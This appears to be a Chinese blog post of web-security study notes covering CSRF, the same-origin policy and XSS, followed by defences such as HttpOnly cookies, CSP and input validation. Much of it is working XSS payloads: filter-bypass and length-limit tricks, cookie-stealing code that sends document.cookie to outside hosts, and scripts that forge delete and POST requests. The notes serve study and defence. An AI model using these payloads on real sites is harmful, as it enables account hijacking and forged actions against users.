• web 安全学习


    漏洞知识库:

    1  CSRF 跨站请求伪造 学习

    crossdomain.xml 文件来验证是否允许客户端的flash 跨域发送请求,使用的是白名单的思想

    使用 token 足够复杂来防御

    同源政策

    a.com 通过 <script src=http://b.com/b.js></script> 加载了b.com 的b.js 但是b.js 是运行在a.com 页面的所以对于a.com来说,b.js的源就应该是a.com而非b.com

    <script> <img> <iframe> <link> 等标签都可以跨域加载资源而不受同源政策的限制,这些带<src> 属性的标签加载时实际上就是由浏览器发起了一次 GET请求

    不同于 XMLHttpRequest 的是,通过src 属性加载的资源,浏览器限制了 JAVASCRIPT的权限,使其不能读写返回的内容

    flash 通过目标网站提供的crossdomain.xml文件判断是否允许当前“源”的flash跨域访问目标资源,eg:

    当浏览器在任意其他域的页面里加载了FLASH后,如果对www.qq.com发起访问请求,flash会先检查 www.qq.com 上此策略文件是否存在。如果文件存在,则检查发起请求的域是否在许可范围内。

    在flash 9及其以后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,如查看服务器返回的HTTP头等信息,FLASH还会检查 crossdomain.xml是否存在根目录下,使得一些上传文件攻击失效



    2 XSS 学习  CROSS SITE SCRIPT

    XXS 构造技巧

    检测是否出现 <script>alert("xss")</script>

    <iframe onload=alert(document.cookie)>

     <script>alert("xss");</script>

    <img src=x onerror=alert(1)>

    xxx<script>alert(/xss/);</script>

    javascript:alert(document.cookie);

    "><img src="a" onerror="prompt">

    <div style="background:url('javascript:alert(1)')">


    %c1";alert(/xss/);//     系统转义了" , 接着%c1   这两个字符组合在一起后,会成为一个UNICODE字符 从而绕过系统安全检查


    学习突破字数限制

    限制20字节类型,<input type=text value="xxx" /> 利用事件输入 " onclick=alert(1)//     实际为 <input type=text value="" onclick=alert(1)//">


    首先先发一篇标题为:”>/*</script>
    再发一篇标题为:"><script>alert(/Jin/)/*
    拼凑起来 <script>alert(/XSS/)/*xxxxxx*/</script>


    同样的思想,可以在限制字符时,第一个文本框小,第二个文本框大,那么直接在两个文本框之间的html代码全部注释掉,从而”打通“两个<input>

    第一个输入  "><!--_(空格)  只有6字节     第二个输入  --><script>alert(/xss/);</script>


    可以加载其他可控的安全数据位置的数据,EG:

    <div id="x">alert%28document.cookie%29%3B</div>
    <limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

    如果没有这些数据,就通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行

    http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
    
    <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>

    30字节 (上)    或者  31字节 (下)

    <limited_xss_point>eval(location.href.substr(80));</limited_xss_point>

     或者 29字节 (下)

    <limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>

     或者 30字节 (下)

    <limited_xss_point>eval(location.href.slice(80));</limited_xss_point>

    或者更少  说明在下面

    <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

    location.hash 可以用来获取或设置页面的标签值,不会在HTTP包中发送,所以服务器端的WEB日志中并不会记录下 location.hash 里的内容,从而也更好地隐藏了hacker的意图
    <input type=text value="xxx" />  输入40字节 " onclick="eval(location.hash.substr(1)) 

    得到 <input type=text value="" onclick="eval(location.hash.substr(1))" /> 

    #是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#。

    因为location.hash 的第一个值 为 # ,所以构造 url 为 www.xxx.com/test.html#alert(xss)

    所以这里的 XSS PAYLOAD 是写在 浏览器的地址栏的。可以直接写在url,也可以利用其它平台上文件来写


    还有可以关注函数

    function loads(url) {
    ...
    document.body.appendChild(script);
    }
    <limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>

    其他了解

    <base> 是个非常危险的标签,如果在页面上插入了它,那么就可以在远程主机上伪造图片,链接或者脚本了(从标签指定的网址上取得到).


    window.name  可以实现跨域传输,那么构造 

    window.name = "alert(document.cookie)";

    location.href = "http://www.xxx.com/xss.php" 只需通过XSS执行 eval(name); 只有11字节


    flash XSS  ,Action script 是一种非常强大和灵活的脚本,甚至可以使用它发起网络连接,因此应该尽可能地禁止用户能够上传加载自定义的FLASH文件

    <embed> 标签定义嵌入的内容,比如插件。 <embed src="http://xxx.com/evil.swf"> </embed>




    发现地方 处写上    57字节

    </textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>

    即可发送COOKIE 到指定网站



    <img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" width="401" height="604" title="111111111" alt="111111111">
    
    
    title 和 alt 被赋值为11111111 那么赋值它
    "><img src=1 onerror=alert(document.cookie)>
    之后:
    <img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" title="">
    <img src="1" onerror="alert(document.cookie)">


    对于畸形URL的处理 IE中www.google.comabc 会变成 www.google.com/abc  同源行为还有chrome 但是firefox却不如此解析

    还有 www.google?abc firefox ie chrome都会认识 为www.google.com/?abc


    反射型XSS

    简单的把用户输入的数据“反射”给浏览器,需要诱使用户 “点击” 一个恶意链接才能攻击成功, 也叫非持久型XSS


    存储型XSS

    把用户输入的数据“存储”在服务器端,这种XSS具有很强的稳定性,也叫做持久型XSS


    DOM Based XSS

    也是反射型 XSS,形成原因比较特殊,通过修改页面的DOM节点形成的XSS 

    <a href= 'str' >XXXXX信息</a>  1输入str 那么 输入  ' onlick=alert(/xss/) //

    <a href= ' ' onlick=alert(/xss/) //' >XXXXX信息</a>

    2 还可以输入 '><img src=# onerror=alert(/xss2/) /><'

    <a href= ' '><img src=# onerror=alert(/xss2/) /><'' >XXXXX信息</a> 




    XSS payload   学习:

    简单窃取cookie

    var img = document.createElement("img");
    img.src = "http://www.xxx.com/log?"+escape(document.cookie);
    document.body.appendChild(img);

    http://www.xxx.com/log不一定存在,因为web 日志服务有留下记录


    登陆网站 切换COOKIE 可以 用edit coookie 和其他, 之所以可以登陆是当前WEB中 COOKIE一般是用户登陆的凭证,浏览器发起的所有请求都会自动带上CCOOKIE。如果COOKIE 没有绑定客户端信息,那么攻击者窃取了COOKIE后就可以不用密码登录进用户的账户


    COOKIE劫持 当出现 SetCookie时给关键COOKIE植入 httpOnly标示,有的网站则可能会把COOKIE与客户端IP绑定,从而使得XSS窃取的COOKIE失去意义


    实际利用:1)删除文章,构造一个GET请求, 然后让博客主人执行这段JS代码,就会把这篇文章删除

    var img = document.createElement("img");
    img.src = "http://www.xxx.com/xx.do?m=delete&id=xxxxx";
    document.body.appendChild(img);

    2.1) 构造 POST 型 XSS PAYLOAD 
    在XSS平台上构造  一个POST 文件 1(文件名) , 这里例子最重要是ck=JiUY      mb_text=评论值

    var dd = document.createElement("div");
    document.body.appendChild(dd);
    dd.innerHTML= '<form action="" method="post" id="xssform" name="mbform">'+
    '<input type="hidden" value="JiUY" name="ck" />'+
    '<input type="text" value="testtesttest" name="mb_text" />'+
    '</form>'
    
    document.getElementById("xssform").submit();

    构造XSS PAYLOAD  即可  <script>xxx.com/1</script>
    2.2) 另一种方式:

    var url = "http://www.xxx.com";
    var postStr = "ck=JiUY&mb_text=test1234"
    
    var ajax =null;
    if (window.ajaxRequest)
      {// code for IE7+, Firefox, Chrome, Opera, Safari
      ajax=new ajaxRequest();
      }
    else
      {// code for IE6, IE5
      ajax=new ActiveXObject("Microsoft.ajax");
      }
    
    ajax.open("POST",url,true);
    ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    ajax.send(postStr);
    
    ajax.onreadystatechange = function()
    {
    	if(ajax.readyState == 4 && ajax.status == 200)
    		{
    			alert("Done!");
    		}
    }


    如果需要输入验证码   那么就完蛋了、·······一般的XSS 都会失效·············

    那么就要想到 得到对方的 验证码图片


    识别用户浏览器,植入木马等,识别用户安装的软件,获取用户真实IP,

    alert(navigator.userAgent)  得到对方的 OS,浏览器版本,语言,但这不是准确的

    网上有检测浏览器版本的JS代码  

    BEEF  ,XSS-PROXY  可以拿下 内网主机~~~~  use auxiliary/server/browser_autopwn  可以检查浏览器漏洞


    解决办法

    补充: 一个COOKIE的使用过程:

    1)浏览器发起请求,则还是没有COOKIE

    2)服务器返回时发送 SET COOKIE 头 ,向客户端浏览器写入 COOKIE

    3)在该 COOKIE 到期前,浏览器访问该域下的所有页面,都将发送该COOKIE


    HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露给黑客或者恶意网站的几率将会大大降低。下面是设置HTTP-only cookie的一个报头的示例: 
    Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly            可以防止“COOKIE劫持”

    最早由微软提出,IE6中,浏览器讲禁止页面JS访问带有 HTTP-ONLY属性的COOKIE

    HTTP ONLY 是在 SET-COOKIE 时标记的, 需要注意可能有多个 COOKIE,而 HTTP-ONLY 可以有选择性地加在任何一个 COOKIE 上

    在某些情况,多个 COOKIE  ,HTTP-ONLY 只标记给用于认证的关键 COOKIE


    (已经被修补)绕过可以利用 apache 支持的TRACE 一般用于调试,会讲请求头作为HTTP RESPONSE 返回


    firefox第一个提出CSP  做法是由服务器返回一个HTTP头,并在其中描述页面应该遵循的安全策略,XSS攻击在没有第三方插件帮助情况下,无法控制HTTP头,所以这项措施是可行的。使用CSP 的方法如下,插入一个HTTP返回头:

    X-Content-Security-Policy:policy  比如:

    X-Content-Security-Policy:policy: allow 'self' *.mydomain.com

    浏览器新人来自mydomain.com及其子域的内容

    NoScript 扩展

    NoScript 1.1.4.7版公开发布,新增了一个客户端级的保护,针对类型0和类型1的XSS攻击。一旦一个页面试图将HTML或是JavaScript代码插入另一个页面,NoScript就会过滤掉有害请求,抵消这些危害。

    2007年4月11日,NoScript 可以根据您的选择,只允许受信任的网站启用JavaScript、Java 或其他插件

    2008年9月15日,NoScript 1.8.1版公开发布,使得用户可以强制某些网站必须通过https访问,增加安全性。此外NoScript也可以强制https网站把Cookies加密来阻止Cookies劫持。

    2009年9月23日,NoScript 1.9.8.9版增加了对STS的支持。这一功能使得用户在访问支持的网站(例如,PayPal)的时候自动只通过HTTPS访问,使得中间人攻击变得非常困难。


    IE8 XSS Filter   但是已经被绕过了 http://www.80sec.com/ie8-xssfilter-bypass.html

    .php?c=<script>alert()</script>
    .php?c=%c1<script>alert()</script> 绕过


    输入检查吗,输入检查的逻辑必须放在服务器端的代码上,。如果只是客户端的JS进行输入检查,很容易就被攻击者绕过了,JS客户端检查可以节约服务器资源。。比较稚嫩的可以检查是否有<script>,javascript等敏感字符,这种可以称为XSS Filter


      

























  • 相关阅读:
    友好城市, 美团笔试题
    字符串计数, 美团笔试题
    公交车, 美团笔试题
    交错序列, 美团笔试题
    题目列表, 美团笔试题, 字符串数组比较
    图的遍历, 美团笔试题
    最长全1串, 美团笔试题
    外卖满减, 美团笔试题
    种花, 美团笔试题
    考试策略, 美团笔试题
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982609.html
Copyright © 2020-2023  润新知